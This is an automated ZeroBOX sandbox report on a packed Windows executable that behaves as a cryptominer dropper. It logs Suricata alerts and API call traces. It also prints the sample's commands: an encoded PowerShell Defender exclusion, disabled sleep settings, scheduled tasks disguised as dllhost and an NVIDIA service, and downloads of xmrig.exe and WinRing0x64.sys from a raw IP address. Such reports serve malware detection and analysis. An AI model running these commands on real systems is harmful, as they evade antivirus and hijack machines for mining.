Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Dec. 1, 2023, 1 p.m.	Dec. 1, 2023, 1:06 p.m.

Size	2.6MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`d026406ee553f49e6526b612274544d3`
SHA256	`3ce7038bba7b55be98005d471b7ad1c9166047a14bbfa016d1bb3b58960e6c1a`
CRC32	`ACFAA01B`
ssdeep	`49152:J15LUHSeWrUhmRRDNTiKytpW0oFOw6lvqaPDVD4SjekvI+kfpgKxjfO7RU:J15LUHSeWrUhMpiKsQOw69thZjeApkx5`
Yara	Malicious_Library_Zero - Malicious_Library IsPE32 - (no description) PE_Header_Zero - PE File Signature UPX_Zero - UPX packed file

conhost.exe "C:\Users\test22\AppData\Local\Temp\conhost.exe"
1440
- cmd.exe cmd /c ""C:\Users\test22\AppData\Roaming\temp\main.bat" /S"
  2144
  - mode.com mode 65,10
    2212
  - 7z.exe 7z.exe e file.zip -p581237535743219781502910817 -oextracted
    2296
  - 7z.exe 7z.exe e extracted/file_4.zip -oextracted
    2344
  - 7z.exe 7z.exe e extracted/file_3.zip -oextracted
    2392
  - 7z.exe 7z.exe e extracted/file_2.zip -oextracted
    2440
  - 7z.exe 7z.exe e extracted/file_1.zip -oextracted
    2488
  - attrib.exe attrib +H "Installer.exe"
    2536
  - Installer.exe "Installer.exe"
    2580
    - cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAHcATwBmAEsAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AZgBCAEQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAWgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEgAdABLAEgAMABSAHYATQBXAFUAMQAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
      2752
      - powershell.exe powershell -EncodedCommand "PAAjAHcATwBmAEsAdQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AZgBCAEQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAWgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEgAdABLAEgAMABSAHYATQBXAFUAMQAjAD4A"
        2808
      - powercfg.exe powercfg /x -hibernate-timeout-ac 0
        2936
      - powercfg.exe powercfg /x -hibernate-timeout-dc 0
        2988
      - powercfg.exe powercfg /x -standby-timeout-ac 0
        3032
      - powercfg.exe powercfg /x -standby-timeout-dc 0
        316
      - powercfg.exe powercfg /hibernate off
        2120
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      2272
      - schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        2408
    - cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6408" /TR "C:\ProgramData\Dllhost\dllhost.exe"
      2308

Name	Response	Post-Analysis Lookup
pastebin.com	A 104.20.67.143 A 172.67.34.170 A 104.20.68.143	172.67.34.170

IP Address	Status	Action
104.20.67.143	Active	Moloch
164.124.101.2	Active	Moloch
195.20.16.153	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49181 -> 104.20.67.143:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49186 -> 195.20.16.153:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 195.20.16.153:80 -> 192.168.56.103:49186	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 195.20.16.153:80 -> 192.168.56.103:49186	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 195.20.16.153:80 -> 192.168.56.103:49186	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49186 -> 195.20.16.153:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 195.20.16.153:80 -> 192.168.56.103:49187	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 195.20.16.153:80 -> 192.168.56.103:49187	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 195.20.16.153:80 -> 192.168.56.103:49187	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.103:49181 104.20.67.143:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3	C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	55:c8:82:61:30:05:42:80:db:47:5e:d0:66:b5:df:ac:14:5b:19:6f

Queries for the computername (10 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 1, 2023, 1 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (9 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0
IsDebuggerPresent Dec. 1, 2023, 1 p.m.			0	0

Command line console output was observed (17 events)

Time & API	Arguments	Status	Return
WriteConsoleW Dec. 1, 2023, 12:52 p.m.	buffer: C:\Users\test22\AppData\Roaming\temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW Dec. 1, 2023, 12:52 p.m.	buffer: cls console_handle: 0x0000000000000007	1	1
WriteConsoleW Dec. 1, 2023, 12:52 p.m.	buffer: '■' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW Dec. 1, 2023, 12:52 p.m.	buffer: 1 file(s) moved. console_handle: 0x0000000000000007	1	1
WriteConsoleW Dec. 1, 2023, 12:52 p.m.	buffer: Launched 'Installer.exe'. console_handle: 0x0000000000000007	1	1
WriteConsoleW Dec. 1, 2023, 12:52 p.m.	buffer: Press any key to continue . . . console_handle: 0x0000000000000007	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: At line:1 char:27 console_handle: 0x00000047	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: + <#wOfKu#> Add-MpPreference <<<< <#nfBD#> -ExclusionPath @($env:UserProfile,$ console_handle: 0x00000053	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: env:SystemDrive) <#Zw#> -Force <#HtKH0RvMWU1#> console_handle: 0x0000005f	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: Hibernation failed with the following error: The request is not supported. The following items are preventing hibernation on this system. The system firmware does not support hibernation. console_handle: 0x0000000b	1	1
WriteConsoleW Dec. 1, 2023, 1 p.m.	buffer: SUCCESS: The scheduled task "dllhost" has successfully been created. console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620518 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0061fe58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0061fe58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0061fe58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0061fe58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0061fe58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0061fe58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006208d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620bd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Dec. 1, 2023, 1 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00620a18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 1, 2023, 1 p.m.		1	1	0

The executable uses a known packer (1 event)

packer

Armadillo v1.71

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://195.20.16.153/xmrig.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://195.20.16.153/WinRing0x64.sys
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://195.20.16.153/WatchDog.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://pastebin.com/raw/ZRRRiwsq

Performs some HTTP requests (4 events)

request	GET http://195.20.16.153/xmrig.exe
request	GET http://195.20.16.153/WinRing0x64.sys
request	GET http://195.20.16.153/WatchDog.exe
request	GET https://pastebin.com/raw/ZRRRiwsq

Allocates read-write-execute memory (usually to unpack itself) (50 out of 168 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00450000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00470000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72592000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 1179648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00572000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00596000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00850000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00851000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00852000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00853000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00854000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00855000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00856000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 1966080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02930000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 1, 2023, 1 p.m.	process_identifier: 2808 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f1d1000 process_handle: 0xffffffff	1
